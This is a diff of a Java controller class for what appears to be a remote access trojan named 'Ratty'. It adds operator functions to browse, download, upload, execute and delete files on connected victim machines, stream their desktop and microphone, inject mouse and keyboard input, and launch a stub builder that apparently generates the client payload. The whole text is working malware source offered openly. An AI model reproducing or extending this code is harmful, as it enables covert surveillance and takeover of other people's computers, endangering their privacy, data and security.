|
|
@ -1,41 +1,61 @@ |
|
|
|
package de.sogomn.rat.server.gui; |
|
|
|
|
|
|
|
import java.awt.image.BufferedImage; |
|
|
|
import java.io.File; |
|
|
|
import java.util.HashMap; |
|
|
|
import java.util.Set; |
|
|
|
|
|
|
|
import de.sogomn.rat.ActiveConnection; |
|
|
|
import de.sogomn.rat.builder.StubBuilder; |
|
|
|
import de.sogomn.rat.packet.AudioPacket; |
|
|
|
import de.sogomn.rat.packet.ClipboardPacket; |
|
|
|
import de.sogomn.rat.packet.CommandPacket; |
|
|
|
import de.sogomn.rat.packet.CreateDirectoryPacket; |
|
|
|
import de.sogomn.rat.packet.DeleteFilePacket; |
|
|
|
import de.sogomn.rat.packet.DesktopPacket; |
|
|
|
import de.sogomn.rat.packet.DownloadFilePacket; |
|
|
|
import de.sogomn.rat.packet.ExecuteFilePacket; |
|
|
|
import de.sogomn.rat.packet.FileRequestPacket; |
|
|
|
import de.sogomn.rat.packet.FreePacket; |
|
|
|
import de.sogomn.rat.packet.IPacket; |
|
|
|
import de.sogomn.rat.packet.InformationPacket; |
|
|
|
import de.sogomn.rat.packet.PopupPacket; |
|
|
|
import de.sogomn.rat.packet.ScreenshotPacket; |
|
|
|
import de.sogomn.rat.packet.UploadFilePacket; |
|
|
|
import de.sogomn.rat.packet.VoicePacket; |
|
|
|
import de.sogomn.rat.packet.WebsitePacket; |
|
|
|
import de.sogomn.rat.server.AbstractRattyController; |
|
|
|
import de.sogomn.rat.server.ActiveServer; |
|
|
|
import de.sogomn.rat.server.ServerClient; |
|
|
|
|
|
|
|
/* |
|
|
|
* Woah, this is a huge class. |
|
|
|
*/ |
|
|
|
public final class RattyGuiController extends AbstractRattyController implements IGuiController { |
|
|
|
|
|
|
|
private RattyGui gui; |
|
|
|
|
|
|
|
private HashMap<ActiveConnection, ServerClient> clients; |
|
|
|
|
|
|
|
public RattyGuiController(final RattyGui gui) { |
|
|
|
this.gui = gui; |
|
|
|
|
|
|
|
clients = new HashMap<ActiveConnection, ServerClient>(); |
|
|
|
|
|
|
|
gui.addListener(this); |
|
|
|
} |
|
|
|
|
|
|
|
/* |
|
|
|
* ================================================== |
|
|
|
* HANDLING |
|
|
|
* HANDLING COMMANDS |
|
|
|
* ================================================== |
|
|
|
*/ |
|
|
|
|
|
|
|
private void showScreenshot(final ServerClient client, final ScreenshotPacket packet) { |
|
|
|
final BufferedImage image = packet.getImage(); |
|
|
|
private void requestFile(final ServerClient client, final FileTreeNode node) { |
|
|
|
final String path = node.getPath(); |
|
|
|
final FileRequestPacket packet = new FileRequestPacket(path); |
|
|
|
|
|
|
|
client.displayPanel.showImage(image); |
|
|
|
client.fileTree.removeChildren(node); |
|
|
|
client.connection.addPacket(packet); |
|
|
|
} |
|
|
|
|
|
|
|
private PopupPacket createPopupPacket() { |
|
|
@ -74,11 +94,111 @@ public final class RattyGuiController extends AbstractRattyController implements |
|
|
|
return null; |
|
|
|
} |
|
|
|
|
|
|
|
private void handleCommand(final ServerClient client, final String command) { |
|
|
|
private AudioPacket createAudioPacket() { |
|
|
|
final File file = gui.getFile("WAV"); |
|
|
|
final AudioPacket packet = new AudioPacket(file); |
|
|
|
|
|
|
|
return packet; |
|
|
|
} |
|
|
|
|
|
|
|
private DownloadFilePacket createDownloadPacket(final ServerClient client) { |
|
|
|
final FileTreeNode node = client.fileTree.getLastNodeClicked(); |
|
|
|
final String path = node.getPath(); |
|
|
|
final DownloadFilePacket packet = new DownloadFilePacket(path); |
|
|
|
|
|
|
|
return packet; |
|
|
|
} |
|
|
|
|
|
|
|
private UploadFilePacket createUploadPacket(final ServerClient client) { |
|
|
|
final File file = gui.getFile(); |
|
|
|
|
|
|
|
if (file != null) { |
|
|
|
final FileTreeNode node = client.fileTree.getLastNodeClicked(); |
|
|
|
final String path = node.getPath(); |
|
|
|
final UploadFilePacket packet = new UploadFilePacket(file, path); |
|
|
|
|
|
|
|
return packet; |
|
|
|
} |
|
|
|
|
|
|
|
return null; |
|
|
|
} |
|
|
|
|
|
|
|
private ExecuteFilePacket createExecutePacket(final ServerClient client) { |
|
|
|
final FileTreeNode node = client.fileTree.getLastNodeClicked(); |
|
|
|
final String path = node.getPath(); |
|
|
|
final ExecuteFilePacket packet = new ExecuteFilePacket(path); |
|
|
|
|
|
|
|
return packet; |
|
|
|
} |
|
|
|
|
|
|
|
private DeleteFilePacket createDeletePacket(final ServerClient client) { |
|
|
|
final FileTreeNode node = client.fileTree.getLastNodeClicked(); |
|
|
|
final String path = node.getPath(); |
|
|
|
final DeleteFilePacket packet = new DeleteFilePacket(path); |
|
|
|
|
|
|
|
return packet; |
|
|
|
} |
|
|
|
|
|
|
|
private CreateDirectoryPacket createFolderPacket(final ServerClient client) { |
|
|
|
final String input = gui.getInput(); |
|
|
|
|
|
|
|
if (input != null) { |
|
|
|
final FileTreeNode node = client.fileTree.getLastNodeClicked(); |
|
|
|
final String path = node.getPath(); |
|
|
|
final CreateDirectoryPacket packet = new CreateDirectoryPacket(path, input); |
|
|
|
|
|
|
|
return packet; |
|
|
|
} |
|
|
|
|
|
|
|
return null; |
|
|
|
} |
|
|
|
|
|
|
|
private void toggleDesktopStream(final ServerClient client) { |
|
|
|
final boolean streamingDesktop = client.isStreamingDesktop(); |
|
|
|
|
|
|
|
client.setStreamingDesktop(!streamingDesktop); |
|
|
|
gui.update(); |
|
|
|
} |
|
|
|
|
|
|
|
private void toggleVoiceStream(final ServerClient client) { |
|
|
|
final boolean streamingVoice = client.isStreamingVoice(); |
|
|
|
|
|
|
|
client.setStreamingVoice(!streamingVoice); |
|
|
|
gui.update(); |
|
|
|
} |
|
|
|
|
|
|
|
private void handleFileTreeCommand(final ServerClient client, final String command) { |
|
|
|
final FileTreeNode node = client.fileTree.getLastNodeClicked(); |
|
|
|
final FileTreeNode parent = node.getParent(); |
|
|
|
|
|
|
|
if (parent != null && command != FileTree.REQUEST) { |
|
|
|
requestFile(client, parent); |
|
|
|
} |
|
|
|
|
|
|
|
requestFile(client, node); |
|
|
|
} |
|
|
|
|
|
|
|
private void launchAttack() { |
|
|
|
//... |
|
|
|
} |
|
|
|
|
|
|
|
private IPacket getPacket(final ServerClient client, final String command) { |
|
|
|
private void handleCommand(final ServerClient client, final String command) { |
|
|
|
if (command == RattyGui.FILES) { |
|
|
|
client.fileTree.setVisible(true); |
|
|
|
} else if (command == RattyGui.DESKTOP) { |
|
|
|
toggleDesktopStream(client); |
|
|
|
} else if (command == RattyGui.VOICE) { |
|
|
|
toggleVoiceStream(client); |
|
|
|
} else if (command == RattyGui.ATTACK) { |
|
|
|
launchAttack(); |
|
|
|
} else if (command == RattyGui.BUILD) { |
|
|
|
StubBuilder.start(); |
|
|
|
} else if (command == FileTree.NEW_FOLDER || command == FileTree.UPLOAD || command == FileTree.REQUEST || command == FileTree.DELETE) { |
|
|
|
handleFileTreeCommand(client, command); |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
private IPacket createPacket(final ServerClient client, final String command) { |
|
|
|
IPacket packet = null; |
|
|
|
|
|
|
|
if (command == RattyGui.FREE) { |
|
|
@ -95,22 +215,69 @@ public final class RattyGuiController extends AbstractRattyController implements |
|
|
|
packet = createWebsitePacket(); |
|
|
|
} else if (command == RattyGui.DESKTOP) { |
|
|
|
packet = new DesktopPacket(true); |
|
|
|
} else if (command == RattyGui.AUDIO) { |
|
|
|
packet = createAudioPacket(); |
|
|
|
} else if (command == RattyGui.VOICE) { |
|
|
|
packet = new VoicePacket(); |
|
|
|
} else if (command == FileTree.DOWNLOAD) { |
|
|
|
packet = createDownloadPacket(client); |
|
|
|
} else if (command == FileTree.UPLOAD) { |
|
|
|
packet = createUploadPacket(client); |
|
|
|
} else if (command == FileTree.EXECUTE) { |
|
|
|
packet = createExecutePacket(client); |
|
|
|
} else if (command == FileTree.DELETE) { |
|
|
|
packet = createDeletePacket(client); |
|
|
|
} else if (command == FileTree.NEW_FOLDER) { |
|
|
|
packet = createFolderPacket(client); |
|
|
|
} else if (command == DisplayPanel.MOUSE_EVENT) { |
|
|
|
packet = client.displayPanel.getLastMouseEventPacket(); |
|
|
|
} else if (command == DisplayPanel.KEY_EVENT) { |
|
|
|
packet = client.displayPanel.getLastKeyEventPacket(); |
|
|
|
} |
|
|
|
|
|
|
|
return packet; |
|
|
|
} |
|
|
|
|
|
|
|
@Override |
|
|
|
protected boolean handlePacket(final ServerClient client, final IPacket packet) { |
|
|
|
/* |
|
|
|
* ================================================== |
|
|
|
* HANDLING PACKETS |
|
|
|
* ================================================== |
|
|
|
*/ |
|
|
|
|
|
|
|
private void showScreenshot(final ServerClient client, final ScreenshotPacket packet) { |
|
|
|
final BufferedImage image = packet.getImage(); |
|
|
|
|
|
|
|
client.displayPanel.showImage(image); |
|
|
|
} |
|
|
|
|
|
|
|
private void handleFiles(final ServerClient client, final FileRequestPacket packet) { |
|
|
|
final String[] paths = packet.getPaths(); |
|
|
|
|
|
|
|
for (final String path : paths) { |
|
|
|
client.fileTree.addNodeStructure(path); |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
private boolean handlePacket(final ServerClient client, final IPacket packet) { |
|
|
|
final Class<? extends IPacket> clazz = packet.getClass(); |
|
|
|
|
|
|
|
boolean consumed = true; |
|
|
|
|
|
|
|
if (clazz == ScreenshotPacket.class) { |
|
|
|
final ScreenshotPacket screenshot = (ScreenshotPacket)packet; |
|
|
|
|
|
|
|
showScreenshot(client, screenshot); |
|
|
|
} else if (clazz == FileRequestPacket.class) { |
|
|
|
final FileRequestPacket request = (FileRequestPacket)packet; |
|
|
|
|
|
|
|
handleFiles(client, request); |
|
|
|
} else if (clazz == DesktopPacket.class) { |
|
|
|
|
|
|
|
} else { |
|
|
|
consumed = false; |
|
|
|
} |
|
|
|
|
|
|
|
return false; |
|
|
|
return consumed; |
|
|
|
} |
|
|
|
|
|
|
|
/* |
|
|
@ -119,19 +286,56 @@ public final class RattyGuiController extends AbstractRattyController implements |
|
|
|
* ================================================== |
|
|
|
*/ |
|
|
|
|
|
|
|
@Override |
|
|
|
protected void logIn(final ServerClient client, final InformationPacket packet) { |
|
|
|
super.logIn(client, packet); |
|
|
|
private void logIn(final ServerClient client, final InformationPacket packet) { |
|
|
|
final String name = packet.getName(); |
|
|
|
final String os = packet.getOs(); |
|
|
|
final String version = packet.getVersion(); |
|
|
|
|
|
|
|
client.logIn(name, os, version); |
|
|
|
client.addListener(this); |
|
|
|
|
|
|
|
gui.addRow(client); |
|
|
|
} |
|
|
|
|
|
|
|
@Override |
|
|
|
public void packetReceived(final ActiveConnection connection, final IPacket packet) { |
|
|
|
final ServerClient client = getClient(connection); |
|
|
|
final boolean loggedIn = client.isLoggedIn(); |
|
|
|
|
|
|
|
if (loggedIn) { |
|
|
|
final boolean consumed = handlePacket(client, packet); |
|
|
|
|
|
|
|
if (!consumed) { |
|
|
|
packet.execute(connection); |
|
|
|
} |
|
|
|
} else if (packet instanceof InformationPacket) { |
|
|
|
final InformationPacket information = (InformationPacket)packet; |
|
|
|
|
|
|
|
logIn(client, information); |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
@Override |
|
|
|
public void connected(final ActiveServer server, final ActiveConnection connection) { |
|
|
|
final ServerClient client = new ServerClient(connection); |
|
|
|
|
|
|
|
super.connected(server, connection); |
|
|
|
|
|
|
|
clients.put(connection, client); |
|
|
|
} |
|
|
|
|
|
|
|
@Override |
|
|
|
public void disconnected(final ActiveConnection connection) { |
|
|
|
final ServerClient client = getClient(connection); |
|
|
|
|
|
|
|
gui.removeRow(client); |
|
|
|
|
|
|
|
client.removeListener(this); |
|
|
|
client.setStreamingDesktop(false); |
|
|
|
client.setStreamingVoice(false); |
|
|
|
|
|
|
|
clients.remove(connection); |
|
|
|
|
|
|
|
super.disconnected(connection); |
|
|
|
} |
|
|
|
|
|
|
@ -145,13 +349,27 @@ public final class RattyGuiController extends AbstractRattyController implements |
|
|
|
@Override |
|
|
|
public void userInput(final String command) { |
|
|
|
final ServerClient client = gui.getLastServerClientClicked(); |
|
|
|
final IPacket packet = getPacket(client, command); |
|
|
|
|
|
|
|
handleCommand(client, command); |
|
|
|
final IPacket packet = createPacket(client, command); |
|
|
|
|
|
|
|
if (packet != null) { |
|
|
|
client.connection.addPacket(packet); |
|
|
|
} |
|
|
|
|
|
|
|
handleCommand(client, command); |
|
|
|
} |
|
|
|
|
|
|
|
public final ServerClient getClient(final ActiveConnection searched) { |
|
|
|
final Set<ActiveConnection> clientSet = clients.keySet(); |
|
|
|
|
|
|
|
for (final ActiveConnection connection : clientSet) { |
|
|
|
if (connection == searched) { |
|
|
|
final ServerClient client = clients.get(connection); |
|
|
|
|
|
|
|
return client; |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
return null; |
|
|
|
} |
|
|
|
|
|
|
|
} |